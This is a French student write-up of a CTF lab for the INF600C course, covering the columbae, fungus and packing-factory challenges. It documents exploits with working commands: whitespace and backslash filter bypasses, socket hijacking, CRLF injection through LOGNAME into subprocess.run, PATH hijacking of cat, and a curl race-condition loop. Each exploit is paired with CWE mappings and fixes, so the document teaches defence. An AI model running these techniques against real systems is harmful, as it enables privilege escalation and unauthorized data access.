TP1 INF600C

Auteurs :

- Étienne Latendresse-Tremblay LATE16039706
- Juan Carlos Merida Cortes MERJ69080104

Columbae

Contexte de columbae

Nous avons 6 fichiers présents dans le répertoire `/quetes/tp1/columbae`. Le but selon le `README.md` est d'obtenir le flag1 est envoyant une doléance à Arthur, le flag2 en trouvant le clé d'authorisation, donc le contenu du fichier `secret` et le flag3 "quelque part".

En utilisant la commande `ls -l` nous pouvons constater que l'exécutable `columbae` a des permissions de superutilisateur :

```
# ls -l
total 40
-rwxr-sr-x  1 root columbae 17112 janv. 29 12:04 columbae
-r--r--r--  1 root root      2952 janv. 29 12:04 columbae.c
-rwxr-xr--  1 root columbae  2713 févr. 11 10:42 columbaed.py
-rwxr-x---  1 root columbae   253 janv. 29 12:04 flags.py
-rw-r--r--  1 root root       311 févr. 19 12:39 README.md
-rwxr-x---+ 1 root columbae    54 janv. 29 12:04 secret
```

Cela veut dire que l'exécutable `columbae` a la possiblités de lire et accéder des fichiers auquel un utilisateur commun n'as pas accès.

Le fonctionnement du programme est de tel que l'utilisateur n'as pas à exécuter le programme en python `columabed.py`. Celui-ci n'est pas non plus exécuter par `columbae`, il est en fait déjà actif sur le serveur et n'attend seulement que des connections sur un socket. Par défaut, les deux programmes communiquent sur le même socket situé à `/tmp/columbae`. Le fichier n'est pas lisible par l'utilisateur et ne peut donc pas être simplement intercepté. Les permissions de `columbae` et de de `columbaed.py` du programme `columbaed.py` en exécutions leur permettent cependant d'y accéder.

Columbae Flag1

Contexte du Flag1

Dans le cadre du flag1, il faut envoyer un message à arthur. On peut le confirmer en lisant les lignes suivantes :

```
if request['TO'] == 'arthur':
        client.send(f"Un message pour le roi! Voici votre accusé de réception {flags.flag1}.\n".encode())
        return
    client.send(f"Le pigeon est malade et refuse de s'envoler. On vous rend votre message:
{request['body']}\n".encode())
```

Choisir un destinataire est assez simple. Lorsque nous exécutant le programme `columbae`, l'argument passé est le destinataire. Si nous exécutons `./columbae arthur`, le programme tentera d'envoyer un message à Arthur. Par contre, les lignes suivantes dans `columbae.c` compliquent les choses:

```
if (strcmp(destinataire, "arthur") == 0) {
        fprintf(stderr, "Désolé, on accepte plus les doléances.\n");
        exit(EXIT_FAILURE);
}
```

Si on tente alors `./columbae arthur` le programme échouera.

Faiblesses et Vulnérabilités

Il est d'abord important de comparer comment le programme en C et le programme en python traitent les entrées de l'utilisateur. Un problème commun qui peut survenir lorsqu'un programme vérifie une entrée qui doit être utiliser par un différent programme est le traitement des caractères spéciaux, des "whitespace", ou autre symboles qui peuvent être interprété différemment par les deux programmes. C'est le cas ici. Le pogramme `columbae` compare l'entrée de l'utilisateur tel quel et l'envoie au programme `columbaed.py`. Le problème survient à cette ligne-ci après que `columbaed.py` reçoit le message:

```
request[key] = value.strip()
```

La fonction `strip()` enlève tout les whitespace au début et à la fin. Cela veut dire que le programme `columbae` compare l'entrée avec arthur avec whitespace et le programme `columbaed.py` compare l'entrée avec arthur sans whitespace.

Exploitation

Il suffit seulement d'exécuter le programme avec un whitespace entre guillemets comme ici :

```
$ ./columbae ' arthur'
```

Le reste de l'entrée n'est pas important. On envoie le message et on reçoit:

```
Réponse: Un message pour le roi! Voici votre accusé de réception INF600C{ya_pas_un_pigeon_pour_envoyer_un_message}.
```

CWE

- CWE-436 : "Interpretation Conflict"
  - Deux composantes interprètes les même données de façon différentes. Il y a donc un conflit entre l'intreprétation de l'entrée entre les deux programmes.
- CWE-1288 : "Improper Validation of Consistency within Input"
  - Il y a un manque de validation cohérente de l'entrée entre les deux composantes. La validation ne devrait pas passer uniquement dans un seul des cas

Correction

Plusieurs correction sont possible ici, mais idéalement il s'agirait de faire tout les modifications sur l'entrée de l'utilisateur au départ avant tout autre comparaisons. L'entrée ne devrait pas être modifié par la suite afin que son interprétation reste la même à tout moment. Il n'existe malheuresement pas de simple fonction pour enlever les whitespace au début et à la fin en C comme c'est le cas en python. Par contre c'est possible d'obtenir le même résultat en écrivant une fonction comme celle-ci:

```c
char *trimwhitespace(char *str)
{
  char *end;

  while(isspace((unsigned char)*str)) str++;

  if(*str == 0)
    return str;

  end = str + strlen(str) - 1;
  while(end > str && isspace((unsigned char)*end)) end--;

  end[1] = '\0';

  return str;
}
```

Columbae Flag2

Contexte du flag2

Pour le flag2, il s'agit de prendre avantage du fait que le programme `columbae` lit le fichier `secret` malgré le fait qu'un utilisateur normal n'y a pas accès. Cependant le contenu de `secret` n'est jamais dévoilé à l'utilisateur. Il est lu et envoyé sur le socket pour être reçu par `columbaed.py` n'ayant pas accès au socket n'y à la sortie de `columbaed.py`, il faut trouver un autre moyen d'intercepter le message envoyé.

Faiblesses et Vulnérabilités

Malgré le fait que `columbaed.py` a une constante claire vers un chemin absolu pour le socket `/tmp/columbae`, le programme `columbae`, quand à lui créer le chemin lors de son exécution. Le chemin est construit dans les lignes suivantes:

```c
char *basename = strrchr(argv[0], '/');
// [...]
strcpy(socket_path, "/tmp/");
strncat(socket_path, basename, 255);
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
```

Même si `/tmp/` est consistant, `basename` varie en fonction du nom de l'exécutable. Le nom du fichier de l'exécutable n'est pas modifiable par un utilisateur normal, mais la vulnérabilité vient du fait que ce n'est pas la seule façon de modifier le résultat de `argv[0]`, même après compilation.

Exploitation

Ce que l'ont veut faire c'est de créer notre propre socket afin de nous même recevoir le message. Il faut que le socket se situe dans `/tmp`, car cette partie ne peut pas être modifié dans le programme `columbae`. On peut lui donner le nom qu'on veut:

```
touch /tmp/tony
```

Étant le propriétaire du fichier, nous avons donc les permissions de lecture sur celui-ci:

```
# stat /tmp/tony
  File: /tmp/tony
  Size: 0               Blocks: 0          IO Block: 4096   socket
Device: 802h/2050d      Inode: 1999648     Links: 1
Access: (0770/srwxrwx---)  Uid: ( 1271/    late)   Gid: ( 1271/    late)
Access: 2025-02-20 19:17:24.781049200 -0500
Modify: 2025-02-20 19:17:24.781049200 -0500
Change: 2025-02-20 19:17:24.781049200 -0500
 Birth: 2025-02-20 19:17:24.781049200 -0500
```

Il suffit alors de s'arranger pour que `columbae` pointe maintenant sur le nouveau socket en modifiant la valeur de `argv[0]`. Il y a différentes façon de procéder, mais j'ai décider de simplement exporter la variable d'environnement `ARGV0`:

```
export ARGV0="tony"
```

Une fois cela fait il suffit juste d'utiliser le code source du programme `columbaed.py` et de modifier l'adresse du socket pour qu'elle pointe aussi sur le nouveau socket en modifiant simplement la ligne:

```
SOCKET_NAME = "/tmp/tony"
```

Il suffit ensuite de rouler programme `columbaed.py` et par la suite le programme `columbae` avec n'importe quelle destinataire et sujet et nous pourront voir dans la réponse la ligne suivante:

```
AUTH: INF600C{deja_que_ca_me_gonfle_de_porter_des_messages}
```

CWE

- CWE-73 : "External Control of File Name or Path"
  - Le programme construit le chemin vers le socket à partir d'un élément modifiable par l'utilisateur, le `argv[0]`
- CWE-552 : "Files or Directories Accessible to External Parties"
  - Il est possible pour un utilisateur de créer un fichier dans `/tmp`. Étant donné que `/tmp` est hardcoded, si le repertoire n'aurait pas donner les permissions a un utilisateur de créer un fichier à l'intérieur, la vulnérabilité ne serait pas présente.
- CWE-641 : "Improper Restriction of Names for Files and Other Resources"
  - Le programme ne restreint pas correctement le nom du socket. Il est donc possible pour un utilisateur de l'altérer.

Correction

La correction ici est assez simple. Il suffit juste de mettre le chemin absolu complet vers le socket dans les deux programmes. Le chemin ne devrait jamais contenir des éléments qui peuvent être modifié par un utilisateur normal.

Columbae Flag 3

Contexte du flag3

Pour obtenir le flag3 il s'agit de lire le contenu de `flags.py`. Cependant le flag3 en question n'est jamais lu a aucun moment durant l'exécution des 2 programmes. La seule façon d'obtenir le flag est donc par l'exécution d'une commande permettant de lire le contenu de `flags.py`. Heureusement pour nous la fonction `subprocess.run()` est présente dans le programme `columbaed.py` et peut potentiellement prendre une entrée utilisateur à condition que l'on réussit à introduire un header `FILTER` dans le message envoyé.

Faiblesses et Vulnérabilités

Étant donné qu'il faut ajouter un nouveau header, il faut regarder comment `columbaed.py` sépare les headers. On voit qu'il `split` au `\r\n`. Il font donc insérer ces charactères spéciaux dans une des entrées afin de créer le nouveau header. Le programme nous donne par défaut 3 entrées utilisateurs. Cependant les deux entrées à l'intérieur de l'exécution du programme cause l'échappement des caractères `\r` et `\n` par le shell. L'entrée du destinaire comme argument du programme serait viable si ce n'était pas de la fonction `encode()` qui échappe aussi ces caractères spéciaux.

L'option valide ici est l'insertion d'une commande dans la variable d'environnement `LOGNAME` utilisé pour déterminé l'expéditeur:

```
char *expediteur = getenv("LOGNAME");
```

Il faut noter cependant que l'injection dans `subprocess.run()` peut seulement se faire avec une seule commande sans option et sans argument étant donné que l'option `shell=True` n'est pas passé. Il suffit alors simplement de créer notre propre script shell et de l'exécuter lors de l'injection.

Exploitation

On créé alors un script shell intitulé `tmp/my_command` :

```
#!/bin/bash
awk NR==5 /quetes/tp1/columbae/flags.py
```

Ici `awk NR==5` est utilisé, car on pourra constater que le flag3 se trouve à la 5e ligne du fichier `flags.py` et le programme nous montre seulement qu'une seule ligne de la sortie de la commande.

On injecte ensuite la commande dans la variable `LOGNAME` de la façon suivante:

```
export LOGNAME=$(printf 'something\r\nFILTER: /tmp/my_command\r\n')
```

On peut ensuite exécuter le programme avec n'importe quelle destinataire (sauf arthur) et laisser les autres champs vide :

```
./columbae someone
# <Enter>
# .
# <Enter>
```

On obtient alors la réponse suivante contenant le flag:

```
Réponse: Le pigeon est malade et refuse de s'envoler. On vous rend votre message:
flag3="INF600C{votre_existence_est_merdique}"
```

CWE

- CWE-78 : "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
  - Le manque de neutralisation des caractères spéciaux permet l'injection d'une commande dans `LOGNAME` dû a l'interpretation potentiel de cette entrée dans `subprocess.run()`.
- CWE-94 : "Improper Control of Generation of Code ('Code Injection')"
  - La précédente injection permet l'utilisation d'un script personnalisé et permet donc l'injection de n'importe qu'elle code avec permissions superutilisateur.
- CWE-470 : "Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')"
  - Malgré le fait que la branche `FILTER` n'est pas accessible par défaut, l'injection dans l'entrée de l'utilisateur permet l'accès à cette branche.
- CWE-15 : "External Control of System or Configuration Setting"
  - Un utilisateur peut controler les variables d'environnement et ceux-ci sont utiliser pour la configuration du programme.

Correction

Si l'on souhaite garder la fonctionnalité de LOGNAME de pouvoir extraire le nom de l'utilisateur, mais sans permettre à un utilisateur d'injecter du code, on peut simplement réutiliser la fonction `encode` utiliser plus haut et l'appliquer sur le résultat de la variable d'environnement:

```
char *expediteur = encode(getenv("LOGNAME"));
```

Il ne sera alors pas possible d'injecter des caractères spéciaux permettant de traiter `FILTER` comme un header différent. On passera alors de :

```
'FROM': 'something', 'FILTER': '/home/elt_97/ctf/inf600c/tp1/columbae/my_command'
```

à:

```
'FROM': 'something??FILTER: /home/elt_97/ctf/inf600c/tp1/columbae/my_command?'
```

Fungus

Contexte de fungus

Nous avons 6 fichiers présent dans le répertoire `/quetes/tp1/fungus`. Le but selon le `README.md` est de lire les fichiers `armee.txt` et `flag2.txt` afin d'obtenir les deux flags.

Les deux point d'entrée possible sont avec executable en C `fungus` et le script shell `foret.sh`. Par contre exécuter le script shell ne peut pas nous donner le contenu des fichiers cherché, car nous n'avons pas accès à ces fichiers et donc l'exécution du script lui-même n'aura pas plus de permissions.

Étant donné que `fungus` exécute le fichier `foret.sh` et que fungus exécute en premier lieu le code suivant:

```
gid_t gid = getegid();
setregid(gid, gid);
```

Il obtient donc les permissions de son groupe étant le superuser lors de son exécution et de l'exécution de `foret.sh` ce que l'ont peut remarquer par la sortie de la commande `ls -l`:

```
# ls -l
-rw-r----- 1 root fungus    75 févr.  3 15:36 armee.txt
-rw-r----- 1 root fungus    64 févr.  3 15:36 caius.txt
-rw-r----- 1 root fungus    64 févr.  3 15:36 flag2.txt
-rwxr-xr-x 1 root root    1216 févr.  3 15:36 foret.sh
-rwxr-sr-x 1 root fungus 16592 févr.  3 15:36 fungus
-rw-r--r-- 1 root root     597 févr.  3 15:36 fungus.c
-rw-r--r-- 1 root root     193 févr.  3 15:36 README.md
```

Fungus Flag1

Contexte du Flag1

Ici on veut obtenir le flag qui se trouve dans le fichier `armee.txt`. Par défaut un utilisateur normal n'a pas les permissions de lire le fichier. Il faut alors prendre avantage des permissions élevés de `fungus` ainsi que du fait qu'il lit aussi le fichier `armee.txt`

Faiblesses et Vulnérabilités

Une des vulnérabilités présente ici se trouve dans les commandes `read` utilisé dans le fichier `foret.sh`. L'utilisation de `read` sans l'option `-r` apporte une vulnérabilité lorsque l'entrée finit par un backslash `\`.

Lorsque l'entrée de l'utilisateur finit par un `\`, `read` continue d'attendre plus de texte en entrée. En faisant `<Enter>` le programme `fungus` fini son `fgets` et passe à la prochaine opération. Pendant ce temps là, le programme `foret.sh` continue d'attendre plus de input dans le même `read`. Lorsque `fungus` envoie alors le contenu de `armee.txt` a `foret.sh`, l'entree de l'utilisateur et le contenu de `armee.txt` sont donc concaténé à la même chaine. Il suffisait alors de trouver comment affiché la variable `fungus`. La seule façon évidente était dans le `case` suivant:

```
sanglier* | marcassin* | ours* | faisan* | lapin* )
    echo "Est-ce un $fungus adulte ?"
```

Exploitation

Il est alors possible de rouler le programme `./fungus` et d'entrée `sanglier\` pour obtenir le premier flag.

```
INF600C{ah-ca-quand-on-connait-pas-il-faut-se-mefier-avec-les-champignons}
```

CWE

- CWE-20 : "Improper Input Validation"
  - Le programme ne valide pas correctement l'entrée de l'utilisateur pour éliminer les caractères spéciaux ou lever une erreur lorsque ceux-ci peuvent cause problème.
- CWE-159 : "Failure to Sanitize Special Element"
  - Le programme n'enlève pas les caractères spéciaux à l'entrée même si ceux-ci sont jamais nécessaires.
- CWE-150 : "Improper Neutralization of Escape, Meta, or Control Sequences"
  - Le programme ne neutralise pas le caractère de fin de ligne.
- CWE-74 : "Improper Neutralization of Special Elements in Output Used by a Downstream Component"
  - Le programme ne neutralise pas un caractère aillant un comportement différent dans le programme initiale comparé au script qu'il appelle.

Correction

Il suffit simplement de passer l'option `-r` à `read` afin de prévenir les exploitations par abus de backslah. Il est d'ailleurs idéal de toujours passé l'option `-r` à tout les `read` à moins qu'il soit vraiment nécessaire que le backslash sert de nouvelle ligne.

Fungus Flag2

Contexte du Flag2

Afin d'obtenir le Flag2 on veut obtenir un accès au commande shell par l'entremise du programme. Cela est du au fait que le programme ne tente jamais de lire le fichier `flag2.txt` que l'on tente d'obtenir. Il faudra alors exploiter les permissions élevés du programme pour faire une lecture non permise sur ce fichier.

Faiblesses et Vulnérabilités

Une des première vulnérabilité dans `foret.sh` est l'utilisation de commandes sans leur chemin absolu. Cela veut dire qu'il est possible de redéfinir ces commandes afin que leur comportements changent durant l'exécution. Cependant la plupart des commandes dans le script sont des `shell builtin` donc ils ne peuvent pas être redéfini. C'est le cas pour `echo` et `read`. Il est possible de le confirmer en exécutant la commande `type` :

```
❯ type echo
echo is a shell builtin
❯ type read
read is a shell builtin
```

Cependant, la commande `cat`, elle, peut être redéfini:

```
❯ type cat
cat is /usr/bin/cat
```

Il est alors possible de redéfinir `cat` afin de lire le fichier de notre choix peut importe sur lequel fichier la commande est exécuté. Évidemment on ne peut pas utiliser `cat` dans la redéfinition, car la commande pointerait vers elle même. Plusieurs commandes sont possible ici comme `sed`, `tail` et autre, mais j'ai décidé d'utiliser `head` pour sa simplicité:

```
#!/bin/sh
head /quetes/tp1/fungus/flag2.txt
```

Il suffit seulement d'ajouter par la suite le répertoire contenant notre nouveau `cat` au début du `PATH` pour qu'il soit priorisé:

```
export PATH="/path/to/cmd:$PATH"
```

Il reste cependant une autre contrainte. La seule commande `cat` dans le fichier `foret.sh` se cache derrière une vérification. La vérification elle-même est assez simple. Il suffit que la variable `fungus`, donc l'entrée de l'utilisateur, soit égal à `CenturionCaiusCamillus` :

```
if [ $fungus = 'CenturionCaiusCamillus' ]; then
```

Par contre, le problème est que le programme `fungus` vérifie l'entrée de l'utilisateur. Il s'assure que l'entrée ne contient pas le substring `Caius` grace à la fonction `strstr`:

```
if (strstr(buffer, "Caius")) {
```

La vulnérabilité provient du fait que lors de l'interprération de strings, certain caractères sont ignorées en shell, mais pas en C. Par exemple, si un backslash `\` est mit dans la chaîne, il sera inclut dans la vérification en C, mais pas en shell script. Si on entre alors ceci:

```
CenturionCai\usCamillus
```

Le programme en C ne détectera pas de substring `Caius`, mais le shell script l'interpretera sans le backslash.

Exploitation

Il est alors possible d'exécuter le cat que nous avons redéfini en exécutant `fungus` et en entrant tout simplement le input suivant `CenturionCai\usCamillus`. On obtient donc le flag:

```
INF600C{si-on-peut-sen-farcir-un-cest-toujours-ca-de-pris-quoi}
```

CWE

- CWE-426 : "Untrusted Search Path"
  - Le programme utilise un chemin relatif pour la commande `cat`, permettant à un utilisateur de redéfinir son chemin vers une autre commande.
- CWE-427 : "Uncontrolled Search Path Element"
  - Étant donné que le chemin est relatif, l'utilisateur peut modifier le `PATH` afin de controllé des éléments du chemin de recherche.
- CWE-150 : "Improper Neutralization of Escape, Meta, or Control Sequences"
  - Les backslash ne sont pas neutralisés permettant de modifier l'interprétation de l'entrée de l'utilisateur dépendamment du contexte.
- CWE-159 : "Failure to Sanitize Special Element"
  - Les caractères spéciaux ne sont pas neutralisés dans l'entrée utilisateur permettant des comportements non attendus
- CWE-436 : "Interpretation Conflict"
  - Les deux composantes du programme interprete la même entrée différemment étant donnée leur interprétation du backslash.

Correction

Il suffit simplement de passer l'option `-r` à `read` afin de prévenir les exploitations par abus de backslah. Il est d'ailleurs idéal de toujours passé l'option `-r` à tout les `read` à moins qu'il soit vraiment nécessaire que le backslash sert de nouvelle ligne.

---

packing-factory

Contexte de packing-factory

Nous avons un fichier `app.py.pub` qui est en fait le code source (version publique) d'un site web utilisant Python et Flask. On voit qu'on peut créer des 'gifts' et les voir / ouvrir leur contenu. Aussi, un `README.md` qui nous donne des indices quant à ce qu'on doit faire pour obtenir les flags dont une référence à un certain Alabaster Bouledeneige et à un Cadeau que le Père Noel se cache.

En allant sur le site, on peut voir que des cadeaux se trouvent en cache et en remote. Ceux qui sont conservés en cache contiennent le nom du "user" à qui le "gift" appartient. On peut aussi voir que les cadeaux en remote sauf pour admin-private se trouvent en cache aussi.

On peut aussi voir que le cookie qu'on recoit a la forme d'un JWT mais c'est en fait juste un string qui dont la première partie est encodée en base64 à l'aide du `app.secret_key` de Flask qu'on ne connait pas et qui est ensuite vérifié à plusieurs reprises par chaque route Flask.

---

packing-factory Flag1

Contexte du Flag1

En regardant bien la page d'accueil, on peut remarquer que certains cadeaux d'autres utilisateurs contiennent le nom de `useralabastersnowball`. On peut remarquer aussi sur la page `/prod` que le même nom est présent, mais ne fait pas partie de la liste des cadeaux disponibles et n'apparait pas dans le code.
Le système nous permet pas l'accès à ce cadeau. Cependant le README.md fait mention de Alabaster Bouledeneige ce qui porte à croire que le premier flag ce cache derrière le package de cette utilisateur.

Faiblesses et Vulnérabilités

Si les cadeaux du nom `userlabastersnowball` existe, mais n'apparaissent pas dans le code , c'est probablement parce que le paquet n'est pas hardcode, comme admin-private. Il a donc probablement été créé lors de l'exécution et ce comportement est potentiellement reproductible. On sait par ailleurs que le contenu créer se retrouve sur le serveur en backend et qu'il y a peut-être moyen de se faire passer pour `userlabastersnowball` afin d'obtenir le flag cherché. La faiblesse particulière ici vient du fait que la création de gift se fait uniquement par un simple formulaire HTML sans validation supplémentaires, ce qui est très facile pour un utilisateur de modifier.

Exploitation

Choix #1

Il est possible d'obtenir le flag avec une requête avec `curl`, mais seulement si l'on fournit un cookie lors de la requête afin d'éviter un message d'erreur. Donc, on peut utiliser la commande `curl` pour POSTer le nom du cadeau qu'on aimerait avoir avec le cookie fourni par le serveur:

```
curl -s -X POST "http://packing.factory.kaa/build" --data "gifts=useralabastersnowball" --cookie
"session=eyJ1c2VyIjoidXNlckVReWVQWnNaTVh4QkpTVklrdWZhYmFhQ2QifQ.Z743vw.9ijzQctR1fCJElEYXgww554z5Xc"
```

on obtient le flag.

Choix #2

On peut aller dans `/build`, aller dans Inspect Element et dans le code source html de la page, on peut voir qu'on a un formulaire. Si on change une des balises du formulaire de `<option value="x">` à `<option value="useralabastersnowball">` et qu'on clique sur l'élément auquelle appartient cette valeur et qu'on submit, on obtient le flag.

Le flag obtenu est le suivant:

```
INF600C{SantaLovesYouMyDiddlyDooDearElfBossAlabasterSnowballHereIs6NorthPoleDollars}
```

CWE

- CWE-285 : "Improper Authorization"
  - Le système permet à l'utilisateur d'accéder à des ressources auquel il n'a pas l'autorisation d'y accéder.
- CWE-639 : "Authorization Bypass Through User-Controlled Key"
  - Il suffit de nommer une ressouce `useralabastersnowball` afin de passer au travers de l'autorisation.
- CWE-284 : "Improper Access Control"
  - Le programme ne restreint pas correctement l'accès à des ressources d'un autre utilisateur

Correction

La validation actuelle repose sur un simple contrôle du nom du fichier, qui peut être manipulé en modifiant le cookie. Un attaquant peut modifier son cookie Base64 pour se faire passer pour `useralabastersnowball` et contourner la restriction. Donc voici 2 correctifs possibles pour corriger cette vulnérabilité.

1. Vérifier que l'utilisateur existe dans une base de données (Serveur-Side): L'application doit valider l'utilisateur côté serveur avant d'autoriser l'accès aux cadeaux. Ainsi, même si quelqu'un modifie son cookie, l'accès sera refusé s'il n'existe pas en base de données.
2. Utiliser des JWT signés: Au lieu d'un simple cookie Base64 modifiable, on peut utiliser des JWT signés avec une clé secrète, car les JWT ne peuvent pas être modifiés sans la clé secrète, empêchant le vol d'identité.

---

packing-factory Flag2

Contexte du Flag2

Un autre cadeau intéressant est l'autre cadeau pas accessible qui se trouve dans `/prod`. Le cadeau `admin-private`. Il s'agit ici du prochain cadeau auquel nous voulons accéder pour obtenir le flag2.

Faiblesses et Vulnérabilités

En regardant le fichier `app.py.pub`, on peut voir que dans `/build`, lorsqu'on fait une requête, le backend créé un/des répertoires et copie les cadeau qu'on veut pour créer des packages. Ces packages sont par la suite disponible au lien `/request_package`. Cependant, si le substring `admin` se trouve dans le nom d'un cadeau, le repertoire contenant le cadeau est effacé et on se fait retourner un message d'erreur. Ceci dit, le fait que ce check n'est pas effectué avant la copie des cadeaux fait que ceci soit un possible TOCTOU (time-of-check to time-of-use). Le fichier est d'abord créé et par la suite est effacé au lieu de simplement ne jamais être créé.

Obtention du flag

Le cadeau qui nous intéresse est `admin-private`. Donc pour l'obtenir, il va falloir faire un script qui envoie une requête à `/build` pour créer le `/packages/admin-private` qui pourra ainsi être obtenu à partir d'une autre requête à `/request_package`. Cependant, il est important que les deux requêtes soient faites presque en même temps à fin qu'on puisse récuperer le contenu de `admin-private` avant qu'il ne soit effacé. Donc, en faisant des requêtes avec le cookie comme pour le 1er flag, on ira faire un Race Condition attack.

```
#!/bin/bash
while true; do
    curl -s -X POST "http://packing.factory.kaa/build" \
         --data "gifts=admin-private" \
         --cookie "session=eyJ1c2VyIjoidXNlckVReWVQWnNaTVh4QkpTVklrdWZhYmFhQ2QifQ.Z743vw.9ijzQctR1fCJElEYXgww554z5Xc" &

    for i in $(seq 1 2);  # Essayer 2 requêtes pour être sûrs
    do
        curl -s "http://packing.factory.kaa/request_package?package=admin-private" \
            --cookie
"session=eyJ1c2VyIjoidXNlckVReWVQWnNaTVh4QkpTVklrdWZhYmFhQ2QifQ.Z743vw.9ijzQctR1fCJElEYXgww554z5Xc" \
            | grep -v "find the package you are looking for"
    done
done
```

On obtient alors:

```
INF600C{DearSantaYouAreAbsolutelyDiddly-DooAwesomeUnlikeThatRottenSnowflake}
```

CWEs

- CWE-362 - Race Condition
  - Un certain délai entre deux actions permettent d'exploiter un Race Condition a l'aide d'un script exécutant une commande à répétion
- CWE-367 - Time-of-Check Time-of-Use (TOCTOU)
  - Il existe un lapse de temps entre la création d'un fichier et la validation des permissions de création de ce fichier. Ce délai représente un TOCTOU

Correction

Le fichier existe brièvement avant suppression, permettant un accès non autorisé, alors on doit pouvoir verifier et supprimer avant que l'utilisateur puisse accéder au fichier, c'est-à-dire, faire le check de 'admin' avant la ligne de `shutil.copy()`. Un exemple serait:

```
for gift in gifts:
    if 'admin' in gift:
        return "Don\'t touch Santa\'s gift!"

    shutil.copy(source + '/' + gift, dest + '/' + gift)
```